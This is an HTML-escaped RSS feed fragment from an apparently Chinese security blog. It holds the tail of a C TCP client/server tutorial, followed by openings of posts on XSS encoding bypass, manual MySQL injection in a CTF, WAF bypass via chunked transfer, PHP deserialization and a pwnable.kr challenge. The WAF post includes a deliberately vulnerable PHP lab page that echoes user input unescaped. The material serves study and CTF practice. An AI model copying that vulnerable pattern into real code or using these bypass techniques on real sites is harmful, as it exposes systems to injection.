&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;){&lt;/span&gt; &lt;span class="cm"&gt;/*子进程中*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;			&lt;span class="nf"&gt;process_conn_server&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sc&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cm"&gt;/*处理连接*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;			&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ss&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cm"&gt;/*在子进程中关闭服务器的侦听*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;			&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sc&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cm"&gt;/*在父进程中关闭客户端的连接*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="0x02-客户端-tcp_clientc"&gt;0x02 客户端 tcp_client.c&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-C" data-lang="C"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;sys/types.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;arpa/inet.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;sys/stat.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;fcntl.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#define PORT 9999 &lt;/span&gt;&lt;span class="cm"&gt;/*侦听端口地址*/&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cm"&gt;/*客户端的处理过程*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;process_conn_client&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="kt"&gt;ssize_t&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="cm"&gt;/*数据的缓冲区*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(;;){&lt;/span&gt; &lt;span class="cm"&gt;/*循环处理过程*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="cm"&gt;/*从标准输入中读取数据放到缓冲区buffer中*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt; &lt;span class="cm"&gt;/*读到数据*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;			&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cm"&gt;/*发送给服务器*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;			&lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cm"&gt;/*从服务器读取数据*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;			&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cm"&gt;/*写到标准输出*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;}&lt;/span&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/*s为socket描述符*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;sockaddr_in&lt;/span&gt; &lt;span class="n"&gt;server_addr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/*服务器地址结构*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Usage ./client server-addr&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cm"&gt;/*建立一个流式套接字 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt; &lt;span class="cm"&gt;/*出错*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="nf"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;socket error&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;		&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;}&lt;/span&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="cm"&gt;/*设置服务器地址*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;bzero&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;server_addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server_addr&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt; &lt;span class="cm"&gt;/*清零*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;server_addr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sin_family&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="cm"&gt;/*协议族*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;server_addr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sin_addr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;s_addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;htonl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;INADDR_ANY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cm"&gt;/*本地地址*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="n"&gt;server_addr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sin_port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;htons&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cm"&gt;/*服务器端口*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="cm"&gt;/*将用户输入的字符串类型的IP地址转为整型*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;inet_pton&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;server_addr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sin_addr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="cm"&gt;/*连接服务器*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;sockaddr&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;server_addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;sockaddr&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;process_conn_client&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cm"&gt;/*客户端处理过程*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="cm"&gt;/*关闭连接*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="0x03-结果"&gt;0x03 结果&lt;/h2&gt;
&lt;p&gt;编译一下：&lt;/p&gt;</description></item><item><title>探索XSS利用编码绕过的原理</title><link>https://saucer-man.com/information_security/103.html</link><pubDate>Fri, 05 Apr 2019 16:14:00 +0000</pubDate><guid>https://saucer-man.com/information_security/103.html</guid><description>&lt;blockquote&gt;
&lt;p&gt;对于XSS攻击的绕过姿势，大家可能张口就来利用编码，但是编码方式那么多种，该怎么去编码，其又是什么原理，可能大部分人并不熟悉，这次借着这篇文章来探索一下XSS编码绕过姿势和原理，如有错误，欢迎指正。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="0x01-认识请求网页的解码过程"&gt;0x01 认识请求网页的解码过程&lt;/h2&gt;
&lt;p&gt;编码属于计算机系统的基础知识，其内容写起来估计也可以出本书了，不过或多或少我们都有所了解，总的来说，编码就是将字符变为二进制数，而解码就是还原二进制数为字符。从浏览器请求url到在页面上显示出来也经历了一些编码和解码过程，下面大概介绍一下流程。具体的过程可参考&lt;a href="http://taligarsiel.com/Projects/howbrowserswork1.htm"&gt;这里&lt;/a&gt;&lt;/p&gt;</description></item><item><title>Archives</title><link>https://saucer-man.com/archives.html</link><pubDate>Tue, 02 Apr 2019 07:22:00 +0000</pubDate><guid>https://saucer-man.com/archives.html</guid><description/></item><item><title>从一个ctf简单总结下mysql手工注入</title><link>https://saucer-man.com/information_security/101.html</link><pubDate>Tue, 02 Apr 2019 06:15:00 +0000</pubDate><guid>https://saucer-man.com/information_security/101.html</guid><description>&lt;h2 id="0x01-先拿flag"&gt;0x01 先拿flag&lt;/h2&gt;
&lt;p&gt;有个很不错的ctf平台jarvisoj，上面收录了一些经典的ctf题目。今天做了一个web题，借此记录一下sql手工注入的语句。&lt;/p&gt;
&lt;p&gt;题目链接是&lt;a href="http://web.jarvisoj.com:32794/"&gt;http://web.jarvisoj.com:32794/&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;hint:先找到源码再说吧~~&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;看起来就像源码泄露问题，于是用自己写的敏感信息泄露检测工具https://github.com/saucer-man/penetration-script/tree/master/source_leak，扫了一下没发现什么文件。。后来搜了wp才知道，源代码在http://web.jarvisoj.com:32794/index.php~，源代码如下：&lt;/p&gt;</description></item><item><title>利用分块传输协议绕waf</title><link>https://saucer-man.com/information_security/100.html</link><pubDate>Fri, 22 Mar 2019 12:04:00 +0000</pubDate><guid>https://saucer-man.com/information_security/100.html</guid><description>&lt;h2 id="0-实验环境"&gt;0. 实验环境&lt;/h2&gt;
&lt;p&gt;本次实验采用的是win10下面的phpstudy+安全狗。安全狗开启http安全监测，可以看到会过滤and or等关键词：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/sina/5cc5cffa1ddf5.jpg" alt=""&gt;&lt;/p&gt;
&lt;p&gt;在根目录，写一个最简单的php页面如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;&amp;lt;?&lt;/span&gt;&lt;span class="nx"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Content-Type: text/html;charset=utf-8&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_REQUEST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;接收到的id为&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;No id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;采用&lt;code&gt;$_REQUEST&lt;/code&gt;既可以接收post参数也可以接收get参数，我们来试试安全狗有没有用，尝试加关键字and：&lt;/p&gt;</description></item><item><title>浅浅析PHP反序列化漏洞</title><link>https://saucer-man.com/information_security/99.html</link><pubDate>Mon, 18 Mar 2019 16:11:00 +0000</pubDate><guid>https://saucer-man.com/information_security/99.html</guid><description>&lt;h2 id="0-前言"&gt;0. 前言&lt;/h2&gt;
&lt;p&gt;以前只是在在线实验室学习过php反序列化漏洞，但是只是浮于表面，也没有挖到过，记忆就很浅了，觉得还是认真学习记录一下比较好。&lt;/p&gt;
&lt;h2 id="1-php序列化反序列化介绍"&gt;1. PHP序列化、反序列化介绍&lt;/h2&gt;
&lt;p&gt;php序列化就是将变量保存为字符串，反之，反序列化就是将字符串还原为变量，在传递变量的过程中，有可能遇到变量值要跨脚本文件传递的过程。试想，如果一个脚本中想要调用之前一个脚本的变量，但是前一个脚本已经执行完毕，所有的变量和内容释放掉了，我们要如何操作呢？&lt;/p&gt;</description></item><item><title>pwnable.kr之input</title><link>https://saucer-man.com/information_security/97.html</link><pubDate>Tue, 05 Mar 2019 07:51:25 +0000</pubDate><guid>https://saucer-man.com/information_security/97.html</guid><description>&lt;p&gt;题目:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/sina/5cc5cff8bb8fb.jpg" alt=""&gt;&lt;/p&gt;
&lt;p&gt;ssh连接之后，发现目录有三个文件&lt;code&gt;input&lt;/code&gt;，&lt;code&gt;input.c&lt;/code&gt;，&lt;code&gt;flag&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;熟悉的配方，先查看一下input.c：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-C" data-lang="C"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
